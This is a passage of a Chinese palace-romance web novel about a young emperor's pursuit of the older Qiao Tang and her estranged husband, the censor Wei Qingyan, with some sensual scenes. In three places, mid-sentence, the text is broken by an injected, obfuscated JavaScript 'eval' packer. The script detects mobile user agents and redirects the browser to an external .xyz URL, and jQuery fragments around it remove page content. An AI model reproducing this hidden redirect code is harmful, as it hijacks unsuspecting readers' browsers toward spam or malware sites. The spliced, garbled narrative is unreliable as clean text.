午时她带着名册去了暖阁,眸子一弯,像初春枝头的花苞,一点点绽开,露出鲜嫩娇色。 “陛下,我到京中日子尚短,除了魏姑娘,尚未结识什么朋友,太后娘娘恐我日子闷,说是可以在赏花宴召些姑娘进宫,热闹热闹,行么?” 裴承珏极为喜欢她这个笑,没有什么不能应她的,且他心思惯常都在政事上,也不多想姑娘家的事,“随姐姐喜欢。” 他拟了圣旨下到了各家姑娘那里,想的是多些姑娘陪陪姐姐,殊不知,各家接了圣旨,暗自揣测圣意,以为天子到了年纪,恐是要选妃了。 各家面上不动声色,暗中准备着,镇国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127425|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公府也收到了,魏若湄高兴地与国公夫人道,“乔姐姐可比兄长喜欢我,还给我回了信呢!” “是,知道了,你乔姐姐最好。记着,等下见了兄长要好好道歉。” 已是夜晚,前方仆人打着灯笼照明,国公夫人拥着她往松风院而去。 魏若湄急切地把乔棠的信读了一遍,心中喜道,乔姐姐不怪她,还宽慰她,句句温柔,也不知陛下走了什么运,竟得了乔姐姐这么好的人。 离松风院近了,闻得一阵琴声传来,魏若湄捏着那信,抬起头时双目一亮,“真好听,兄长真是样样精通呀!” 国公夫人笑着点了点她的脑瓜,两人一起进了院子,越过窗前,进了厅子。 闻得脚步声来,琴声一瞬停了,魏清砚在窗下琴架前起身,淡淡地朝国公夫人颔首,“母亲。” 无波无澜的目光瞥向了魏若湄,“今日原要调香,你来晚了。” 魏若湄一怔。 国公夫人笑道,“我就说你兄长不会放在心上的,偏偏你担心发了脾气后,兄长自此厌了你。” 她朝魏清砚道,“你妹妹的性子你也清楚,高兴就笑,不高兴就哭,便是说了些什么气人的话,也是喜欢你这个兄长。” 她推着魏若湄上前。 魏若湄低头道了歉,双目亮亮地跑到琴架前,将手中信放下来,挑起弦来,弹出勉强能听的音,“兄长能教我弹琴么?” “且把调香做好。” 魏清砚一向看不见她可怜兮兮的模样,冷肃地望过来,“今日调香时间已过,你该去休息了。” 魏若湄失望,国公夫人劝道,“贪多嚼不烂,就听你兄长的,先跟着你兄长把调香学好了,对了,你不是要参加宫里的赏花宴?还不快去准备!” 魏若湄一听忙跑了,魏清砚请国公夫人坐下,“母亲可是有事?” 别看魏清砚端肃冷淡,魏若湄娇憨话多,国公夫人却是个爽朗性子,从不拖泥带水,开门见山道,“如今你已及冠两年,做了都察院御史,眼下只等成家了,不妨这阵子随我去相看姑娘,看看有无中意的。” 这还是家中第一次提魏清砚的婚事。 去年国公夫人亲自去冀州接魏清砚进京,为防意外不曾大张旗鼓,曾暗中探查消息,知晓魏清砚不仅成了亲,还和离过了,大为吃惊,正想深究时,被魏清砚冷漠地拦了下来,“不必多问。” 国公夫人只好打住。 回了国公府,她也琢磨过魏清砚的亲事,但念在魏清砚要科举,恐分了他的神,便拖到今日才提,此刻满眼期待地看向魏清砚。 厅中响起魏清砚的清冷声音,“我目前并无这个打算。” 国公夫人心底叹气,转眼一想,比起儿子能回来这等欢喜大事,暂不成亲也不过是小问题,又笑道,“那母亲也不勉强你,只是,你且记得,哪日相中了哪家姑娘,可一定要和母亲说,便是那天上的仙女,母亲也得给你说过来!” 好似要拼命一般,魏清砚抬眸望过来,还是无波无澜的模样,“母亲说笑了。” “哪里是说笑,我就等着日后你来拿这话堵我,若到时我不中用,且还有你父亲你兄长,咱们一家子还能求不来一个姑娘!” 12. 第12章 大有魏清砚不应,她便不走的架势。 可到头来,她的执拗也只换来魏清砚不为所动的一声,“我记下了,谢母亲。” 送了国公夫人出去,魏清砚折回来时,窗前琴架上信笺被风拂得飞了出来,飘落在他的身后。 空气中似传来熟悉香气,魏清砚顿步,慢慢地回首,下垂视线淡淡扫了一眼地上的信笺,转过身踱步到信笺边,俯身捡了起来。 乔棠深知这次赏花的目的,原以为姑娘们进了宫后,先去慈宁宫拜见太后,太后再召见裴承珏过去,她到时跟着去走个过场便是。 殊不知,翌日用早膳时,宫人陆续来报,说是各家姑娘到了,都在前殿候着,便是魏若湄来了也只在前殿待着,惊得她疑惑,“可是太后安排的?” 宫人道,“是陛下安排的,陛下说既是来陪姑娘的,自是先来见姑娘,由姑娘领着去拜见太后。” 这般做法俨然已将乔棠当后妃来看,且还是极得盛宠的后妃,保不齐在裴承珏心里,她已是他的皇后了。 宫人们都笑道,“可见陛下多么喜欢姑娘。” 王嬷嬷笑得慈爱,揽着乔棠到镜子前坐下,“姑娘好生妆扮,莫辜负了陛下好意。” 只有乔棠,浑身似被水淹了般喘不过气,稍一挣扎,脑中便闪出裴承珏炽热的眸子,一声一声地喊,“姐姐……” 乔棠袖中手指颤抖,阖眸深思,裴承珏再喜欢自己也不过一时兴起,他现今也算开了窍,今日诸多莺莺燕燕,他多少会看看,指不定就对哪个起了兴致,到时也就不缠着她了。 “陛下最喜姑娘穿青衣,今日穿这件如何?” 乔棠睁开眸子,扫了一眼王嬷嬷手中的衣裙,笃定地摇头,“便是再喜欢也腻了,换一种……我不曾穿过的颜色。” 从今日起,凡是裴承珏喜欢什么,她便不做什么,且看裴承珏还如何喜欢她。 宫人们面面相觑,最终捧来一件月白裙裳,服侍乔棠穿上,乔棠察觉她们眼中闪过的惊艳,心中一颓,心叹这张脸是无力改变了。 王嬷嬷笑道,“还是姑娘眼光好。” 乔棠生硬地牵了牵嘴角,出了寝殿往前殿去,身后缀着乌泱泱的一行宫人。 乔棠顿步,回首望去,宫人们和王嬷嬷无辜地望来,王嬷嬷道,“姑娘,前殿娇客们多,总得需要人手服侍,我们在一侧也好搭个手。” 乔棠回头就走,心底也明白,宫人们和王嬷嬷在给她撑面子,裴承珏叫世家姑娘们候着她,难免引起世家姑娘们不满,若是见了她身单影只,岂不是又瞧轻了她? 却说前殿坐着十来个姑娘,都花似的好看,魏若湄嘴巴叭叭的,“你们见了乔姐姐就知了,乔姐姐好看又温柔,会哄着我们玩的。” 和她脾性一样的稚嫩姑娘眼珠一转,“那乔姐姐有多好看?” “比我们加起来还好看!”魏若湄这话一出,自引得个别姑娘不服,正欲呛一声,魏若湄惊喜道,“乔姐姐来了!” 众姑娘循声望去,眸子慢慢瞪大了,但见里面走出一位身姿窈窕的姐姐。 高挑柔体裹着一袭月白裙裳,如空谷幽兰,艳而不俗。腰如束素,鬓似堆鸦,一张秀美脸庞不施粉黛,眉不描而黑,似远山含黛,纤长浓密的蝶翅睫下,含情双眸望着众人微微一弯,极是温柔可亲,“诸位姑娘来了。” 姑娘们怔着,好在魏若湄反应过来,率先朝乔棠行了一个礼,乔棠知晓她在给自己做面子,当即回了一个礼。 有魏若湄带着,其他姑娘回过神觉着失了礼,羞赧地红着脸,赶紧补了一个。 乔棠也回了,微微低身时,胸前丰腴高耸弧度明显,配上修长脖颈,格外扎眼,或者说是诱人不自知。 众姑娘慌地别过视线,这位姐姐好……如何也不敢说出心中的靡艳之词。 有的姑娘暗暗低眼瞧瞧自己胸前,咬了一下唇,不甘地闭上了眸子。 有个与魏若湄同岁的姑娘仰着脸道,“我也能喊乔姑娘乔姐姐么?” “若姑娘愿意,自是可以。” 乔棠眼波一转,唇角轻轻一挑,露出一个极柔极美的笑,她很擅长这种笑,彰显出没有任何攻击力的美,很适合应对魏若湄这般的姑娘。 眨眼间,乔棠成了众姑娘心中的美人姐姐,但也有几个姑娘,只端庄立着,不亲不近地微笑,乔棠也微微一笑,算是打过招呼了。 “烦请诸位姑娘随我去见太后。”乔棠领着她们出了太极宫,一路往慈宁宫去。 乔棠走在前方,春风拂得她发丝微乱,轻轻搭着雪白颈后,透出一股慵懒风韵。 沿路宫女们纷纷行礼,暗中觑着她缓步离去,再瞧瞧跟着她的姑娘们,偷偷摇头。 世家姑娘们好看归好看,比起乔姑娘随风而行的成熟风姿,委实寡淡了太多。 慈宁宫里,太后原兴致极高,听闻裴承珏先让姑娘们见了乔棠,有些不满裴承珏将乔棠抬得太高。 眼下乔棠领着众姑娘过来拜见,她心中不虞更甚,眸光瞥过乔棠婀娜身段,暗道,委实不该让乔棠出现。 盖因她选的这十来个姑娘都比乔棠小了三四岁,身量比乔棠低了半头,立在乔棠身侧,竟都成了乔棠的陪衬。 这且不论,乔棠再不似粉黛,也遮不住她柔丽容貌,更莫提一举一动间柔软摆动的腰肢,胸前丰腴隆起,勾人心弦的眼波。 这群姑娘和她一比,就是群青涩稚嫩的小妹妹! 裴承珏若是来了,怕是会一眼不看,直接冲着他的乔姑娘去了。 太后心里哽得难受,若有似无地瞥了一眼乔棠,乔棠心里明镜似的,唇角一翘,寻了一个理由退下了。 将出了慈宁宫,魏若湄从身后追来,可怜兮兮道,“我陪乔姐姐去漱玉阁吧。” “让我猜猜,定是太后娘娘命人请了陛下,你害怕陛下,便来寻我。” “乔姐姐知晓就好,何必说透?”她不满地嘟唇,随着乔棠到了漱玉阁。 从宫苑到漱玉阁一带,花枝繁茂,各色花朵簇在枝头,迎风颤着,可爱可怜,值得赏玩。 魏若湄逗弄了几朵,见乔棠无意于此,遂同她去了漱玉阁二楼,“乔姐姐可注意到穿浅粉衣裙的姑娘了?” 乔棠细想一下,抿唇一笑,“柳姑娘呀,和你一样,可爱着呢。” “哎,乔姐姐快别揶揄我了,我听我娘说,若兄长同意,她想让柳姑娘做我嫂嫂呢!” 乔棠眉尖一顰,那柳姑娘确然灵动可爱,兴许还真能融化了魏若湄兄长的冷漠。 这世间夫妻,也讲究个脾性互补,比如柳姑娘和魏若湄兄长,再比如她和那个早死的前夫。 温璟也是冷到极致的人,她本放在心尖捂了三年,兴许捂得还不够暖,也只偶得他几个笑颜,倒是从他那里学得琴棋书画调香读书。 三年的夫妻相处中,她曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127426|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏言,“你果真不是我的夫君,是我的夫子罢了。” 温璟容色一冷,探袖折了窗外的柳枝,放在手心把玩,“既是夫子,适才弹得不对,过来打手心。” 她吓得跑了,身后传来一声无奈叹息,“纵是只差一字,我也不愿,棠棠日后莫再胡说了。” 当时她听得稀里糊涂,迷迷糊糊地望回去,竟得了温璟一个浅淡微笑。 那霜雪尽融展露的一抹春光,她记到现在,如今细想,方知那句“只差一字,我也不愿”暗藏的情意。 春风中柳枝拂过栏杆,乔棠轻轻地折了一段,背对着魏若湄,低眉掩去了眸中一点湿意。 却说素兰姑姑领了命去勤政殿请裴承珏。 李公公步出来笑道,“适才魏御史有事禀报陛下,陛下来了兴致,要同魏御史下棋,眼下也不好打扰。” 殿里,裴承珏坐在棋盘一侧,意态懒散,一手支颌,另一手指夹着棋子落下。 魏清砚立着,容色肃正,低眸凝视棋盘,手中棋子迟迟不落。 裴承珏扬眉望来一眼,见他如霜雪中立着的青树,自有一股冷冽风骨,忽地思起他的姐姐好奇过此人,心头无端生出不虞。 这人冷得似冰块,毫无温度,也不知姐姐好奇什么,转瞬又一想,姐姐好奇便好奇罢,为了讨姐姐欢心,他就勉为其难多问几句。 裴承珏伸出手指敲击棋盘,示意魏清砚听着,“魏卿休沐之日也惦记公务,不怕家中夫人生气?” 魏清砚将棋子放下,代表他认输了,一时未语,似在斟酌语言。 迟疑态度让裴承珏思付道,“难不成魏卿还未成亲?” 魏清砚眸光微闪。 被天子误解,有欺君之嫌,他只能据实以告,“陛下,四年前臣便已成婚有了夫人,只是现今两人不在一处。” 国公夫人误以为他已和离,他并未辩解过,只用不想成亲搪塞过去,今日于天子跟前,他道出实情,盖因从他的角度来看,他和夫人实则还不算和离,故而只称不在一处。 裴承珏讶然挑眉,但也并未深究下去,只想等下用这个与姐姐打趣一句罢了。他起身往殿外走去,“那魏卿更不能只惦记公务了,寻你的夫人去吧。” 魏清砚行礼恭送,裴承珏快步出了殿,听了素兰姑姑禀报,只关心一事,“乔姑娘在何处?” 素兰姑姑道,“应在漱玉阁。” “召她们去漱玉阁见朕和乔姑娘。” 裴承珏到了漱玉阁,不过一抬头,便见乔棠立在二楼栏杆前,穿着他不曾见过的月白裙裳,柳腰花态地玩着一根柳枝。 柳枝被魏若湄嘟着嘴夺了过去,她也不恼,只绽出一抹温柔浅笑。 裴承珏呼吸一促,胸腔里心跳一声急过一声,眸中暗火燎原,当即挥退宫人们,疾步过去了。 “乔姐姐,陛下来了,我且走了!” 魏若湄跑得极快,眨眼间没了影儿,乔棠无奈地往楼下去看,疑惑地顰眉,楼下并不见裴承珏。 闻得脚步声传来,她才转过身,眼前被一副温热的胸膛堵住了,紧接着纤腰被手臂用力一揽,整个人都被裴承珏抱进了身后阁里。 砰得一声,房门紧闭。 她被压在门板上,静谧空间里,纤巧下巴被裴承珏钳住抬起,视线撞进一双暗沉幽深的眸子。 “姐姐,朕的心跳好快,救救朕。” 吻如落雨而下。 13. 第13章 莽撞,侵入,掠夺。 少年炽热如火。 乔棠被迫受着,快要溺死在他的吻里了。 许久,唇分。 乔棠得以呼吸,连咳数声,眼角沁出可怜泪珠,整个人要化在裴承珏怀里。 裴承珏依然不松,手臂箍紧她,薄唇怜惜地一点一点吻掉泪珠。 忽有脚步声从窗户边传来,伴有零星娇笑声,应是姑娘们奉召来了。 “陛下……” 乔棠气喘微微,无力地想要推开他,“眼下还是白日,该出去了……” 只得来裴承珏沉沉一声,“姐姐。” 他不同意。 乔棠不可置信地望进一双蕴着欲望的眸子,里面皆是掠夺索求,狂热得要把她吞入腹中。 乔棠惊慌,又无可奈何,心头生出一种控制不住事态发展的恐惧,头次意识到她亲手放出了一头对自己逞凶的野兽。 受着吧。 乔棠阖上眸子,知晓裴承珏还不会做到最后一步,任由他闹去了。 过了许久,上身的月白衣衫尽碎,如云鬓发散落,她被裴承珏摁在袍中掠夺,又是疼,又是麻,生生晕了过去。 “姐姐?” 闻得裴承珏小心地呼喊,她慢慢睁开眸子。 窗户已开了,拂进来的风吹得她心神一清,不由得裴承珏怀中动了动。 身上完好崭新的月白衣衫映入眸子,惊得她直道,“有人进来了?” 白日昭昭,日光下一切无所遁形,她却被裴承珏压在此处荒唐地亲吻,便是她成过婚也不曾有过这样的经历,若再被宫人看见…… 她无法再想下去,一时羞恼地瞪向裴承珏。 裴承珏就怕她醒来生气,忙地解释,“姐姐莫恼,衣物是朕命人悄悄送来,朕给姐姐换的。” 到底只有裴承珏一人看见了。 乔棠心底好受些了,从裴承珏怀里起身,走到桌前,淡淡道,“下面姑娘们都来了,陛下不去看看?” 裴承珏一听便知她气着呢,靠近两步,惊得她要恼时,牵起她的衣袖往脸颊上贴了贴,眼神含着眷恋,含着祈求。 乔棠呼吸一促,只觉有股暗火通过衣袖传过来,烧得她心砰砰跳,“陛下!” “姐姐别气,朕这就走。” 裴承珏见祈求失败,只得松了手,转身走了两步,回眸望来,被乔棠泛红的眸子一瞪,再不敢多待,不舍地推门离去了。 乔棠彻底松了口气,见桌子上立有镜子,旁边摆有梳子药膏,应是裴承珏准备的,心底再有气也消了大半。 她照着早晨妆发梳了一遍头发,给肿了的唇抹了药膏,理好了衣衫。 坐下来等了好长一会儿,看着镜子中没了异常的自己,满意地起身离去。 甫一出门,魏若湄就急匆匆地冲进来,扑到她怀里,“乔姐姐,陛下又吓我!” 乔棠无奈心道,两个幼稚鬼! “别哭了,等下我看着陛下,定不叫陛下对你做什么。” 魏若湄这才止声,撤开身子,见乔棠衣衫微乱,不好意思地道歉,“对不住乔姐姐。” “无妨,我们出去吧。” 两人走出去,乔棠顺着栏杆望下看,漱玉阁临湖,湖边伫有凉亭。 这会儿亭中有两人,裴承珏穿着宽袍大袖,在阁里压皱的袖摆已抚平了,多了份文雅清润。 委实不是阁里放任汹涌欲望的野兽。 乔棠发现比起初见时,裴承珏身量又高了些,大抵是又长了。 离他两步远,立有琴架,有个红衫姑娘端坐弹琴,悠悠琴声传来,颇有雅韵。 乔棠看见裴承珏忽地动了,步到琴架上,手指虚空点了点琴弦,似是说了什么。 红衫姑娘起身行礼,裴承珏受了,她起身又坐了回去,再次弹起琴来。 乔棠看得既惊又喜,裴承珏还真有可能对其他姑娘有兴致,转头去问魏若湄,“那是哪位姑娘?” “是顾云清姐姐,首辅大人的孙女,和陛下同岁,据说……”她迟疑地看向乔棠。 乔棠明白了,捡了裴承珏的话回道,“我也不是小肚鸡肠拈酸吃醋之人,自也明白陛下日后也定不只我一人,你但说无妨。” 魏若湄这才道,“我曾听太后娘娘说,顾姐姐也是极好的,我太怕陛下了,可不会嫁给陛下,那剩下来的皇后人选只有顾姐姐,柳姐姐……” 乔棠越听越欢喜,原来这么多适合裴承珏的姑娘呢。 不想魏若湄误会了她的笑意,以为她在强颜欢笑,要帮她的忙,“日后我说不准,可眼下陛下最喜欢乔姐姐了,只要乔姐姐去,他定不会管顾姐姐了。” 乔棠大惊,众目睽睽下被她拉着往凉亭里,又不好解释,只得露出微微笑,迈步进了亭子。 琴声一停。 裴承珏眼中一亮,缓步靠乔棠靠近,乔棠不动声色地避开,朝着顾云清微笑。 之前姑娘多,她未得细看,此刻甚觉顾云清是个小美人,立着时如临水照花,端淑有度。 顾云清也报以微笑,衣袖倏地被魏若湄扯住了,“顾姐姐,适才有朵花好好看,我带你去看吧。” 顾云清视线一转,瞥见裴承珏只盯着乔棠看,低眉向裴承珏行礼告退,同魏若湄看花去了。 裴承珏见四下无人,伸袖想牵起乔棠的手,又被乔棠避了一下。 她决定晾一晾裴承珏,好叫裴承珏转移注意力,多看看其他姑娘,为此向琴架走去时道,“陛下好不容易得了空,不若再去走走?” 言罢她低眉,只凝视着琴,也不言语了,落在裴承珏眼里,难免叫裴承珏多想。 他一时觉着姐姐还在为阁里的事生气,又觉自己刚和别的姑娘独处了,惹得姐姐吃醋了。 这般想着,裴承珏只微微一笑,不欲多解释,只想夜间与乔棠好好说说。 他靠近琴架,“姐姐要弹琴?” “我不会弹琴。” 乔棠不能夺了顾玉清的风采,破坏了顾玉清与裴承珏之间的牵连。 “不会也无妨。” 裴承珏误以为她极喜欢琴,轻声安抚,“若姐姐愿意学,朕可以选一名师教姐姐弹琴。” 乔棠心底暗道,适才还亲自指点顾云清呢,眼下却要给她另选名师,看来是真对其他姑娘感兴趣了。 “姐姐可别笑话朕,朕琴技委实有限,倘若姐姐要学,朕自是给姐姐寻最好的琴师。” 乔棠一听,顿觉失望,原来如此,愉悦心情一散而尽,意兴阑珊地道,“那便听陛下的,陛下当真不四处走走?” 这就是在赶人了。 裴承珏几乎没见过她这般冷淡模样,按理说裴承珏合该是疑惑甚至微怒的。 可他并没有,反而心中生出又怜又爱的情绪,怜她在阁里被自己欺负了,爱她为自己吃醋。 一时间,他不忍心拒绝乔棠,姐姐让他走,他便走罢,他笑道,“那朕且回勤政殿了,晚间再与姐姐说话。” 乔棠眼睁睁看着他离开了,心道,是让你四处走走,没让你走这么远。 眼看追是追不回来了,乔棠只好自己去看那群妹妹,省得出了什么岔子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏清砚的身影很快消失在殿门处,裴承珏收回视线,紧皱眉头舒展,命人去库房寻了一个颗最大最亮的夜明珠。 他带着珠子进了寝殿,撩开纱帐一看,乔棠已睡着了,便小心地把夜明珠塞到床里面,手指碰到册子,抿了抿唇,把册子拿了出来。 过了很久,他气息平稳地回到床上,将册子塞回了原处,抱着乔棠睡去了。 镇国公府,松风院。 静谧书房里,魏清砚手中捏着信笺,眉峰紧拢,隐约透出一股焦灼,似乎有东西要打碎他的冷漠端肃了。 魏若湄坐在临窗桌前研磨香粉,偷偷看过去,心道兄长真奇怪,不把乔姐姐的信还给我便罢了,还一直失神地盯着那信看,似要把信看出个洞来! 忽地魏清砚动了,起身往窗边来,她赶紧转过视线埋下头,一手刚捏起研杵,一只手掌自身后探来摁在研钵上。 魏若湄呼吸一紧,头顶传来询问,“你如实说,上次的香谁帮调的?” 魏若湄不敢回头,只觉兄长声音比往日还要冷,害怕得抖起嗓音,“是乔、乔姐姐。” 空气凝了一瞬,魏清砚声冷如冰,“这封信。” 魏若湄害怕更甚,张口说话时已带上了哭腔,“也是乔姐姐写的。” 砰得一声,研钵被魏清砚一掌扫到了地上,魏若湄甚至听见了他牙齿咯吱声。 一股寒意从身后传来,“这位乔姐姐,叫什么名字?” 魏若湄浑身哆嗦,泪水夺眶而出,“乔……乔棠。” 14. 第14章 乔棠醒来,裴承珏已去上早朝了,她很快摸到那颗硕大的夜明珠,知晓这是裴承珏放的,没什么兴致地扔到一边。 连带手指碰到了那册子,惊得心头一跳,她都快忘了床里还有这么个东西,裴承珏既能放得下夜明珠,兴许已发现看过了。 她思索眼下境况,她和裴承珏除却最后一步,其余什么都做过了,且她月信已过,这阵子水到渠成进行敦伦,想必在裴承珏看来也是合情合理。 只是,在敦伦前,她还需与裴承珏商议一件事。若是裴承珏同意了且好说,不同意…… 乔棠轻咬唇角,觉着委实难办,还是先设法让裴承珏同意吧,总不能敦伦完去喝避子汤,伤了自己身子。 这日晚间,沐浴过后,她散着黑发坐在镜子前,让宫人为她淡淡妆扮。 她见王嬷嬷数次笑着望来,知晓嬷嬷在想什么,自打嬷嬷知了她还未侍寝已被裴承珏这么喜欢,越发认定裴承珏才是她命中良人,这会儿定认为自己想通了准备侍寝。 果然,宫人走后,王嬷嬷靠近笑道,“姑娘想通了便好了。”又贴心低语几声,生恐裴承珏没有经验,一时情急伤了乔棠。 乔棠不愿她担忧,并未多解释,只点头应下。 目送王嬷嬷放心地出了寝殿,她起身上了床,拉下纱帐,拿出裴承珏放的夜明珠照明。 同时翻出那册子,一页一页地看过去,看到一半,不知怎么地,有些紧张了,阖上册子放回原处。 她有些后悔看册子了,今夜原本没侍寝打算的,只是要和裴承珏商量事情而已。 心思纷乱时,有脚步声靠近,随即纱帐被一只手掌撩开,裴承珏欢喜的声音传进来,“姐姐……” 声音戛然而止,呲啦一声,纱帐晃荡着,碎裂开了,接着裴承珏疾步离去,“姐姐再等等朕!” 乔棠才抬起头而已,连裴承珏人影都没见,先见了床边碎得可怜的纱帐,心底有些庆幸,碎的不是自己的寝衣就好。 她也不管那纱帐,重新躺下,黑发散落在枕头上,白皙肌肤莹润如月华,浑身都发出淡淡清香。 裴承珏再次迈步进来,已恢复镇定自若,装作看不见那纱帐,只探身靠近乔棠,手指拂起柔顺长发,一点一点吻过去。 乔棠,“……” 若从这里开始,是不是太慢了些? 裴承珏顺势上了床,残破纱帐遮不住的月光映过来了,和他一起吻到乔棠额头。 他的吻力度轻如鸿毛,满是怜爱。 乔棠睫毛轻颤,轻咬唇角,正迟疑着是否要催促裴承珏加快速度,忽地被暴风骤雨般的密吻强势侵入了心神。 乔棠被摁在身下,一吻一吻地承受,直到裴承珏停下来,她阖上眸子,彻底没了说话力气,索性闭口了,安静地躺入裴承珏怀抱。 裴承珏轻笑,“姐姐今日好乖。” 乔棠不想出声,他也不恼,指腹轻轻抚过乔棠面颊,“昨夜朕原想为阁里的事向姐姐道歉,不想姐姐睡了。” 指腹擦过乔棠肿着的唇瓣,他阖眼忍住渴求,“朕向姐姐保证,日后朕定顾着场合,还有——” “昨日朕和顾家姑娘独处,也是顾家姑娘先来见朕,请朕指点一下,朕才与她待在亭子里,姐姐莫要多想。” 乔棠一瞬睁开了眸子,先是讶然,裴承珏竟认为她会吃醋,而后欢喜起来,吃醋好啊,这个醋来得正是时候! 她作势不理裴承珏,轻轻拍掉了作乱的手指,默默地侧过身去,只给裴承珏一个背影。 看样子是真的醋到没边儿了。 裴承珏愕然,胸膛里涌出一股莫大喜悦,来回撞击着他的心神,叫他如登极乐地笑道,“姐姐,朕错了,朕再也不敢了。” 乔棠任由他说了好半晌,直等他将所有能用的词儿都说尽了,才回过身,以手指封住他的口,“陛下当真会为了我,愿做任何事?” 裴承珏极快地颔首,眸子一暗,张口吮吸。 乔棠面上一烫,抽出手指勾住他的衣领,拉着他低下头,说出了心头琢磨的事情。 裴承珏起先听得耳根通红,慢慢地面色郑重起来,末了思付道,“既是为姐姐身子好,朕自然答应,瞒着母后便是,只是,姐姐——” 他难得困惑道,“若是怀孕了,生下来岂不是更好?” 真真一语惊得乔棠心脏狂跳,面色煞白,她怎么能怀孕呢!她怎么能生下裴承珏的孩子呢!她总归是要出宫去的,断然不许自己犯下这样的错误! 好在夜明珠被压在身下了,月光也稀薄浅淡,裴承珏看不到她这般变化,仍是轻柔小心地吻过来,“姐姐?” 她扬颈受着,竭力稳住心神,勉强笑道,“陛下可还未及冠呢,这就想着做父皇了,未免早了些。” 裴承珏薄唇一滞,思付着慢慢道,“姐姐所言在理,实则朕也没那么喜欢孩子,便依姐姐说的。” 乔棠暗中松了口气,一场虚惊过去,她立马想起另一事,“陛下可能将此事交给程英来做?” 程英便是先前来过的女医,乔棠喜欢她的沉稳有度,且同是姑娘家,也好沟通。 裴承珏又开始了,声音含糊,“姐姐莫说其他的了。” 他是越亲越难以忍耐,似是将乔棠揉碎了都无法纾解,委屈地喊,“姐姐。” 乔棠被他咯得难受,咬紧唇角,在一片暗色中,伸出一只细白的手。 甫一接触,她无视了裴承珏的反应,心头大震,万分后悔招惹了裴承珏,怎么这么…他不是还未及冠么? 然而箭在弦上不得不发,她咬牙量着尺寸,待心里有了成算,末了要撤手时,手腕被瞬间摁住,这只手再也离不开了。 纱帐里喘息一声重过一声。 很长时间后,乔棠收回了酸麻的手腕,被裴承珏揽在怀里,沉沉睡去了。 第二日,乔棠整个人都忧虑得神思恍惚,还是王嬷嬷忧心地低问,“可是昨夜出了什么岔子?” 乔棠欲哭无泪,昨夜是没出什么岔子,日后就不一定了。 “姑娘快说到底怎么了?”王嬷嬷心疼地搂住了她,她忙地摇头,“无事,昨夜我与陛下是有事要说,说得久了些,嬷嬷莫要担心。” 王嬷嬷顿时笑了,“原是聊事情了,我说怎么一整夜没动静呢。” 乔棠见她又误会昨夜了,也不欲多言,命宫人请了程英过来,与程英低语一番,程英眸中闪过赞同。而后她以手告知程英尺寸,一贯沉稳得体的程英眉头猛皱,看过来的目光满是怜悯。 乔棠装作自然地回望过去。 于是怜悯就变成了敬佩,乔棠也不知她想了什么,满心绝望地低声吩咐几句,程英一一应下。 离开时,程英忍不住告知 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不想魏若湄生出一计,她特意带一高挑侍女进宫一趟,将乔棠妆扮成侍女模样,瞒过了当值的宫人,一路将乔棠带出了宫。 乔棠带着幕离下了马车,随魏若湄进了酒楼,在二楼雅间坐下时,心下觉出不对。 魏若湄素日嘴巴不停,鸟雀似的叫,今日好生话少,容色瞧着也白了点,似是心神不安模样。 乔棠略微一想,知了缘由,柔声安抚,“莫怕,你是为了带我尝点心才如此做,便是被陛下发现了,有我在,陛下定不会为难你的。” 魏若湄嘴角牵起,不复娇憨,反倒笑容有些勉强,“谢谢乔姐姐,乔姐姐快吃。” 她起身替乔棠解了幕离,将幕离放好时瞥了好几眼对面客栈的二楼,也不坐下来,直站着不动了。 乔棠心头狐疑,一时也拿不准魏若湄是真怕裴承珏发现出事还是因别的,草草地尝了几口点心就起了身,边戴幕离边道,“确然好吃,可惜我不能多食,不若回去吧。” 魏若湄猛地回神,胡乱点头,脚步匆匆地带着她出了酒楼。 乔棠走近马车,自己掀开了车帘,方往车里瞥了一眼,容色大惊,手上一抖,车帘又落了下来。 她猛地转过身,对着魏若湄牵唇一笑,魏若湄突地身子一颤,倏地瞪大眸子,惊惧地望着她的背后,哇得一声哭了。 乔棠阖眼,她也想哭了。 可总不能看着魏若湄越哭越可怜,她睁开眸子,柔柔地一笑,“莫怕,要相信你乔姐姐,点心很好吃,快回家去吧。” 魏若湄哭着想靠近,又一下子吓得拔腿就跑,还跑进了茶楼对面的客栈里! 乔棠失笑,这孩子吓得都不识路了。 转眼她狠狠掐了一下自己手心,疼得眼角沁出泪珠,方转身进了马车。 车帘一放下,车内光线暗淡,不容她坐下来,一只长臂掐过她的腰身,重重地将她摁在一个宽厚温热的怀中。 “姐姐胆子大了,敢背着朕出宫了。” 裴承珏低沉声音一响起,乔棠眼泪恰时落下来,声含委屈,“陛下与我多日不见,一见便要凶我?” 几乎一瞬,手臂力度轻了,怀抱也软了,声音也是怜惜的,“姐姐莫哭。” 15. 第15章 乔棠不出声地继续落泪。 裴承珏懊悔地舔尽泪珠,怀抱轻得如待世间珍宝,“是朕不对,姐姐原谅朕吧。” 乔棠一听,心知偷偷出宫此事已了,适时地止泪,配合着他扬颈,任由他吻个尽兴。 马车平稳地驶向宫中,乔棠受了很长时间的亲吻,裴承珏才肯放过她。 